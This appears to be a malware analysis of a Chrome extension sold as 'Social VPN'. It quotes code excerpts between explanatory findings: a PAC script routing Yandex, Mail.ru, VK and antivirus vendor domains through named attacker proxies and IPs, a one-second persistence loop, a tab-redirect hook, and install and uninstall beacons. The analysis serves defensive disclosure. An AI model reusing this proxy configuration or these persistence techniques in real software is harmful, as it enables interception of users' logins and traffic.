Social VPN

PAC script selectively routes traffic for specific high-value Russian services (Yandex, Mail.ru, VK, Odnoklassniki) through attacker-controlled proxies (tronwertfrort5.me, hostprojects.org, aaacdn.net, cdn-prime.net, frpxa.com, brwpks.com, pksfr.com, brwpx.com and bare IPs 213.196.52.x). A legitimate VPN routes all user traffic uniformly; this cherry-picked targeting of login/email/social domains via suspicious throwaway domains is a classic adversary-in-the-middle credential harvesting/traffic interception pattern.

const groups = [{      "domainMasks": ["webvisor.org", ...yandex domains...],      "bypassDomainMasks": [],      "proxyStrings": ["HTTPS tronwertfrort5.me:443", "HTTPS storage.hostprojects.org:443", "HTTPS cdn.aaacdn.net:443", "HTTPS assets.cdn-prime.net:443", "PROXY 213.196.52.20:18090", "PROXY 213.196.52.28:18090", "PROXY 213.196.55.204:18090"]    }, {      "domainMasks": ["allods.com", ...mail.ru / icq / my.com domains...],      "bypassDomainMasks": [],      "proxyStrings": ["HTTPS frpxa.com:443", "HTTPS brwpks.com:443", "HTTPS pksfr.com:443", "HTTPS brwpx.com:443", "PROXY 213.196.52.20:18090", ...]    }

The PAC script explicitly targets antivirus vendor domains (Dr.Web: drweb.com/drweb.ru/av-desk.com/freedrweb.com, and Kaspersky: kaspersky.com/securelist.com/viruslist.ru/threatpost.com) and routes them through attacker-controlled proxies. This enables blocking AV signature updates, poisoning threat intelligence feeds, or MITM-ing connections from users trying to research/remove the malware itself. This is characteristic of banking-trojan/infostealer ecosystems, not VPN services.

}, {  "domainMasks": ["drw.sh", "*.drw.sh", "drweb.com", "*.drweb.com", "drweb.ru", "*.drweb.ru", ...Dr.Web AV domains...],  "bypassDomainMasks": [],  "proxyStrings": ["HTTPS tronwertfrort5.me:443", "HTTPS storage.hostprojects.org:443", "HTTPS cdn.aaacdn.net:443", "HTTPS assets.cdn-prime.net:443", "PROXY 213.196.52.20:18090", "PROXY 213.196.52.28:18090", "PROXY 213.196.55.204:18090"]}, {  "domainMasks": ["kaspersky.com", "*.kaspersky.com", "kaspersky.ru", "*.kaspersky.ru", "securelist.com", "*.securelist.com", "viruslist.ru", "*.viruslist.ru", "threatpost.com", "*.threatpost.com", ...],  "bypassDomainMasks": [],  "proxyStrings": ["HTTPS tronwertfrort5.me:443", "HTTPS storage.hostprojects.org:443", "HTTPS cdn.aaacdn.net:443", "HTTPS assets.cdn-prime.net:443", "PROXY 213.196.52.20:18090", "PROXY 213.196.52.28:18090", "PROXY 213.196.55.204:18090"]}

The extension re-applies the proxy configuration every 1 second (setInterval 1000ms), and on any proxy error it spawns ANOTHER 1-second re-apply interval (never cleared, so intervals compound). This aggressive persistence prevents the user or any other tool from disabling/overriding the malicious proxy settings, and is inconsistent with any legitimate VPN UX.

setInterval(function() {  App.enableProxy()}, 1e3);chrome.action.onClicked.addListener(App.browserActionClicked);chrome.proxy.onProxyError.addListener(function() {  setInterval(function() {    App.enableProxy()  }, 1e3);});

A listener on new-tab creation rewrites navigations to vk.com. Combined with the PAC script routing vk.com through attacker-controlled HTTPS proxies, the extension is engineering forced traffic flows through those proxies. The undefined `id` variable suggests this code is buggy/obfuscated, but the intent to hook and redirect navigation to a credential-bearing site is clear.

chrome.tabs.onCreated.addListener(function(a) {  'http://vk.com' === a.url && chrome.tabs.update(id, {    url: 'https://vk.com'  });});

On install and uninstall the extension beacons to addonup.com with UTM tracking parameters identifying the extension and lifecycle event. This enables attacker-side victim telemetry (install counts, uninstall churn) and attribution of the monetization/affiliate flow driving the malware distribution.

chrome.runtime.onInstalled.addListener(function(details) {  chrome.tabs.create({    url: 'https://addonup.com/?utm_source=ext&utm_medium=install&utm_campaign=svpn'  });  App.enableProxy();  chrome.storage.local.set({    config: config  });});chrome.runtime.setUninstallURL('https://addonup.com/?utm_source=ext&utm_medium=uninstall&utm_campaign=svpn')

Stores the extension ID and installation/activation timestamp in chrome.storage.local. While not exfiltrated directly in this version, it establishes victim-identification state that can be read by any future update pushed via the update_url. Combined with the proxy MITM capability, this is a staging primitive for persistent victim tracking.

var apps = new App(),  data = {    extensionId: chrome.runtime.id,    time: new Date()      .toLocaleString()  };chrome.storage.local.set({  data: data});